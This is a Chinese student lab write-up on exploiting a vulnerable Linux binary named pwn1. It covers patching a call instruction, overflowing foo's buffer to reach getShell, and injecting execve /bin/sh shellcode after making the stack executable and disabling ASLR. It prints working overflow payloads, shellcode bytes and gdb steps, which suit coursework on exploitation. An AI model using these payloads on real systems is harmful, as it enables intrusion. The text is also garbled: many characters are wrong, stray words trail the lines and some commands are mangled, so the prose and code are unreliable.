本次实践的对象是一个名为pwn1的linux可执行文件。html
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。linux
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。git
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。shell
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。编程
注入一个本身制做的shellcode并运行这段shellcode。vim
objdump -d <file(s)>: 将代码段反汇编; objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时须要使用-g参数,即须要调试信息; objdump -C <file(s)>: 将C++符号名逆向解析 objdump -l <file(s)>: 反汇编代码中插入文件名和行号 objdump -j section <file(s)>: 仅反汇编指定的section
vim <filename>: 以ASCII码形式显示可执行文件的内容 :%!xxd: 将显示模式切换为16进制模式 :%!xxd: 将16进制切换回ASCII码模式
|
:是管道命令操做符,简称管道符。利用Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会做为管道符右边命令的输入。连续使用管道意味着第一个命令的输出会做为 第二个命令的输入,第二个命令的输出又会做为第三个命令的输入,依此类推。>
:表明以覆盖的方式将命令的正确输出输出到指定的文件或设备当中。>>
:表明以追加方式输出。命令 < 文件名
:把文件做为命令的输入,例如wc命令时统计行,单词书和字符的。原理(思路):sass
步骤:网络
objdump -d pwn1 | more
对pwn1
文件进行反汇编08048491
,main函数中的call 8048491 <foo>
指令的机器码为e8 d7 ff ff ff
,下一条指令的地址为80484ba
。机器码中的0xffffffd7 = 0x080484ba - 0x08048491
为主函数执行位置和foo函数起始地址的差0x080484ba - 0x0804847d = 0xffffffc3
vi pwn1
打开以ASCII码显示的文件:%!xxd
将文件转换为16进制查看d7ffffff
位置,输入i
进入插入模式,将d7
修改成c3
:%!xxd -r
将文件转化为ASCII码形式,保存并退出objdump -d pwn1 | more
查看,发现pwn1文件已经被修改了结果:dom
原理(思路):ide
缓冲区大小+4字节(ebp)+getShell的地址
,使得getShell的地址覆盖eip步骤:
计算出实现缓冲区溢出的字符数为28+4=32
字节(4为EBP占用的内存空间),咱们但愿执行getShell函数,所以须要将getShell函数的地址放在eip(返回地址)处,即33~36字节,接下对猜测进行验证
咱们在gdb中输入至少36字节的数据,能够看到给出了Segmentation fault 的错误提示,同时能够查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜测
咱们将33~36字节的内容替换为getShell的地址,即\x7d\x84\x04\x08
,前32字节能够任意输入
因为咱们没法从键盘输入16进制的值,所以运用perl语言和>
输出重定向构造输入文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
构造输入,咱们能够经过cat
和xxd
指令查看咱们构造的输入文件
结果:
|
,输入命令(cat input; cat ) | ./pwn2
将构造的输入input做为pwn2的输入并运行,结果以下:原理(思路):
retaddr+nop+shellcode
(缓冲区小)或nop+shellcode+retaddr
(缓冲区大)的方式构造攻击buf步骤:
execstack -s pwn3
设置堆栈可执行execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证实已关闭perl -e 'print "A" x 32;print \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./pwn3
运行pwn3ps -ef | grep pwn3
查看pwn3的进程号disassemble foo
进行反编译,能够看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
c
继续运行程序info r esp
查看esp寄存器地址,此时esp的地址即为eip的地址x/16x 0xffffd1ac
以16进制形式查看0xffffd1ac
地址后面的内容0xffffd1ac+0x00000004=0xffffd1b0
将注入代码buf的地址改成0xffffd1b0
输入(cat input_shellcode;cat) | ./pwn3
结果:
问题一:
解决一:
:%!xxd -r
转成ASCLL码形式就不会出问题问题二:
解决二:
pop ebp
,此时esp已经指向eip了 以前本身对网络攻防这方面也算是有点兴趣、有点好奇吧,此次,在看了老师的视频讲解以后,本身实操了一把,感受还不错,多是前期看视频、学知识准备的比较久,作完还有那么一点点小成就感。
此次实验的主要困难就是在于对机器码、汇编指令、十六进制数、堆栈原理的掌握还不是很充分,一些地方理解起来比较费劲,我是看完老师的视频就开始参考着组长的博客开作了,在作的过程当中,有不懂的地方,就直接上网上去查,没有的话就去问同窗,和组内同窗讨论,边作边学,摸着石头过河。
最后作下来,总体感受仍是不错的,也没有遇到太大的问题,全部遇到问题都获得了解决,对此次的实验内容也有了基本的了解,同时也有了很大的收获。也还有不少地方掌握的不是太好,如机器指令、汇编语言之类的,以后我也会增强学习,争取作的更好!